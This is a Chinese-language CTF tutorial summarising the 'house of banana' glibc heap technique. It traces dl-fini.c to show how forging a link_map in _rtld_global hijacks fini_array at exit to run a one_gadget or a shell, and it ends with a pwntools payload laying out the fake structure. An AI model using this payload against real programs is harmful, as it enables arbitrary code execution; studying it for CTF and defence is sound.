前言#
功能十分强大的一个house of 系列 可以执行onegadget或者是system(“/bin/sh”)来获取shell 原理是通过largebinattack把chunk_addr覆盖程序执行exit时所需要的结构体 进行伪造 这样就可以劫持exit函数
源码分析#
我们在之前的栈部分学习中 学过篡改fini_array 来进行一个重复执行main函数
但是其利用需要关闭RELRO保护 然而堆题基本都是保护全开 所以很少用到 今天来学习一下伪造fini_array赋值用到的结构体 从而控制程序exit时的程序执行流

利用源码调试 可以知道 fini_array是在/elf/dl-fini.c的139行被调用的 那么我们跟进一下源码 看一下赋值逻辑
if (l->l_info[DT_FINI_ARRAY] != NULL){ ElfW(Addr) *array = (ElfW(Addr) *) (l->l_addr + l->l_info[DT_FINI_ARRAY]->d_un.d_ptr); unsigned int i = (l->l_info[DT_FINI_ARRAYSZ]->d_un.d_val / sizeof (ElfW(Addr))); while (i-- > 0) ((fini_t) array[i]) ();}`array = (l->l_addr + l->l_info[DT_FINI_ARRAY]->d_un.d_ptr)
貌似和l这个链表有关 朔源一下l的定义
struct link_map *l = maps[i]
继续朔源一下maps数组的赋值
define GL(name) _rtld_global._##name
for (l = GL(dl_ns)[ns]._ns_loaded, i = 0; l != NULL; l = l->l_next)/* Do not handle ld.so in secondary namespaces. */if (l == l->l_real) {assert (i < nloaded);
maps[i] = l;l->l_idx = i;++i;
/* Bump l_direct_opencount of all objects so that they are not dlclose()ed from underneath us. */++l->l_direct_opencount; }maps的赋值和GL(dl_ns)[ns]._ns_loaded这个结构体有关系 所以我们只需要伪造该结构体 就能操控maps的值 从而操控
fini_array的内容
每一次for循环后l的赋值可以看出来其是一个链表 看其他师傅的介绍是必须有四个元素 也就有两种做法 截取第一个节点开始伪造 或者是从第三个节点开始伪造 前者伪造的更加麻烦 这里先来介绍后者的
劫持第三个节点#
首先需要获得第三个节点的位置 采用计算和_rtld_global结构体的偏移来得到
distance &_rtld_global &(_rtld_global._dl_ns._ns_loaded->l_next->l_next->l_next)接着为了进入if分支 我们还需要通过第一个判断
l == l->l_real也就是在fake+0x28处需要写入fake地址
struct link_map *l = maps[i];
if (l->l_init_called) { /* Make sure nothing happens if we are called twice. */ l->l_init_called = 0;
/* Is there a destructor function? */ if (l->l_info[DT_FINI_ARRAY] != NULL || (ELF_INITFINI && l->l_info[DT_FINI] != NULL)) { /* When debugging print a message first. */ if (__builtin_expect (GLRO(dl_debug_mask) & DL_DEBUG_IMPCALLS, 0)) _dl_debug_printf ("\ncalling fini: %s [%lu]\n\n", DSO_FILENAME (l->l_name), ns);for循环中还有这样一段 为了使for循环顺利执行 我们同样需要绕过这里的if判断
需要绕过l->l_init_called 不过这里貌似不能是个1就行 需要伪造成其原本的值 和上面的一样 查一下偏移和所需要的值
distance _rtld_global._dl_ns[0]._ns_loaded &(_rtld_global._dl_ns[0]._ns_loaded)->l_init_calledx/wx &(_rtld_global._dl_ns[0]._ns_loaded)->l_init_called第二个if用的是或 通过一个就行了 这里选第一个 可以一并绕过下一个if
l->l_info[DT_FINI_ARRAY] != NULL
同时注意一下下面maps赋值的操作
ElfW(Addr) *array = (ElfW(Addr) *) (l->l_addr + l->l_info[DT_FINI_ARRAY]->d_un.d_ptr);fini_array的值由l->l_info[DT_FINI_ARRAY]决定
我们还需要控制i的值 i由下面这个式子得到
i = (l->l_info[DT_FINI_ARRAYSZ]->d_un.d_val / sizeof (ElfW(Addr)))distance (_rtld_global._dl_ns[0]._ns_loaded) &((_rtld_global._dl_ns[0]._ns_loaded)->l_info[28])这里的i跟随着系统原本的布局

并且你会发现 i的值应该是存放在对应偏移地址的下一个字长处

同理可得 我们还需要关注一下l->l_info[DT_FINI_ARRAY]需要怎么构造

同样是需要把地址放在下一个字长处 并且需要经过两次跳转
总结一下就是按照下面这样构造 这里的偏移因人而异 我把所有的偏移都减去了0x10 是因为fake是从chunk头开始算的 而edit是从chunk的用户空间开始
payload = p64(0)*3 + p64(fake_addr)payload = payload.ljust(0x38,b'\x00')+p64(fake_addr+0x58)+p64(8)+p64(onegadget_addr)payload = payload.ljust(0x100,b'\x00')+p64(fake_addr+0x40)payload = payload.ljust(0x110,b'\x00')+p64(fake_addr+0x48)payload = payload.ljust(0x31c-0x10,b'\x00')+p64(0x1c)更加详细的流程可以看这位师傅的博客 我只是做个总结